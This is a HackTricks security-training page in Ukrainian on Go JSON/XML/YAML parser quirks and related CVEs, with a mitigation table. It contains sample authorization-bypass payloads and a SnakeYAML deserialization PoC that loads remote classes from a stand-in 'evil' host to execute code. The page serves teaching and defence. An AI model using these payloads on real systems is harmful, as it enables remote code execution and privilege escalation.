JSON, XML & Yaml Hacking & Проблеми

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Декодер JSON у Go

Було виявлено наступні проблеми в парсері JSON у Go, хоча вони можуть бути присутні й в інших мовах. Ці проблеми були опубліковані в this blog post.

Парсери JSON, XML і YAML у Go мають довгу низку невідповідностей і небезпечних налаштувань за замовчуванням, які можна зловживати для bypass authentication, escalate privileges, або exfiltrate sensitive data.

(Un)Marshaling Unexpected Data

Мета — експлуатувати structs, які дозволяють нападнику читати/записувати чутливі поля (наприклад, IsAdmin, Password).

  • Приклад Struct:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Поширені вразливості
  1. Відсутній tag (без tag = field все ще обробляється за замовчуванням):
type User struct {
Username string
}

Payload:

{"Username": "admin"}
  1. Некоректне використання -:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Payload:

{"-": true}

✔️ Правильний спосіб заблокувати поле від (де)маршалінгу:

type User struct {
IsAdmin bool `json:"-"`
}

Відмінності парсерів

Мета — обхід авторизації шляхом використання того, як різні парсери по-різному інтерпретують один і той же payload, наприклад:

  • CVE-2017-12635: Apache CouchDB обхід через дубліковані ключі
  • 2022: Zoom 0-click RCE через розбіжності в XML-парсерах
  • GitLab 2025 SAML обхід через особливості XML

1. Дубліковані поля: Go’s encoding/json бере останнє поле.

json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Інші парсери (наприклад, Java’s Jackson) можуть взяти перший.

2. Нечутливість до регістру: Go нечутливий до регістру:

json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Навіть трюки з Unicode працюють:

json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Cross-service mismatch: Уявімо:

  • Proxy, написаний на Go
  • AuthZ service, написаний на Python

Attacker sends:

{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python бачить UserAction, дозволяє його
  • Go бачить AdminAction, виконує його

Data Format Confusion (Polyglots)

Мета — експлуатувати системи, які змішують формати (JSON/XML/YAML) або не блокують доступ при помилках парсера, наприклад:

  • CVE-2020-16250: HashiCorp Vault parsed JSON with an XML parser after STS returned JSON instead of XML.

Атакуючий контролює:

  • заголовок Accept: application/json
  • Частковий контроль тіла JSON

XML-парсер Go розпарсив його все одно і довірився ін’єкованій ідентичності.

  • Crafted payload:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

Результат:

  • Go JSON parser: Action_2 (case-insensitive + last wins)
  • YAML parser: Action_1 (case-sensitive)
  • XML parser: parses "Action_3" inside the string

Помітні вразливості парсерів (2023-2025)

Наведені далі вразливості з публічно доступними експлойтами показують, що небезпечний парсинг — це багатомовна проблема, а не лише проблема Go.

SnakeYAML Deserialization RCE (CVE-2022-1471)

  • Вражає: org.yaml:snakeyaml < 2.0 (використовується в Spring-Boot, Jenkins тощо).
  • Основна причина: new Constructor() десеріалізує довільні Java-класи, що дозволяє gadget chains, які призводять до remote-code execution.
  • Однорядковий PoC (відкриє калькулятор на вразливому хості):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Виправлення / Мітігація:
  1. Upgrade to ≥2.0 (uses SafeLoader by default).
  2. У старіших версіях явно використовуйте new Yaml(new SafeConstructor()).

libyaml Double-Free (CVE-2024-35325)

  • Стосується: libyaml ≤0.2.5 (C-бібліотека, яку використовують численні прив’язки для мов).
  • Проблема: виклик yaml_event_delete() двічі призводить до double-free, який зловмисники можуть перетворити на DoS або, в деяких сценаріях, heap exploitation.
  • Статус: Upstream відхилив як “API misuse”, але дистрибутиви Linux випустили патчовану версію 0.2.6, яка обнуляє вказівник після звільнення пам’яті.

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • Стосується: Tencent RapidJSON до коміту 8269bc2 (<1.1.0-patch-22).
  • Баг: у GenericReader::ParseNumber() неналежні арифметичні перевірки дозволяють зловмисникам сформувати величезні числові літерали, які обертаються й пошкоджують heap — врешті-решт це дозволяє підвищення привілеїв, коли отриманий граф об’єктів використовується для рішень щодо авторизації.

🔐 Mitigations (Updated)

РизикВиправлення / Рекомендація
Невідомі поля (JSON)decoder.DisallowUnknownFields()
Дублікати полів (JSON)❌ В stdlib немає виправлення — перевіряйте за допомогою jsoncheck
Нечутливе до регістру зіставлення (Go)❌ Виправлення немає — перевіряйте struct tags + попередньо канонізуйте вхідні дані
XML сміттєві дані / XXEВикористовуйте захищений парсер (encoding/xml + DisallowDTD)
Невідомі ключі YAMLyaml.KnownFields(true)
Unsafe YAML deserializationВикористовуйте SafeConstructor / оновіть до SnakeYAML ≥2.0
libyaml ≤0.2.5 double-freeОновіть до 0.2.6 або випуску, пропатченого дистрибутивом
RapidJSON <patched commitСкомпілюйте з останньою версією RapidJSON (≥липень 2024)

Див. також

Mass Assignment Cwe 915

Посилання

  • Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks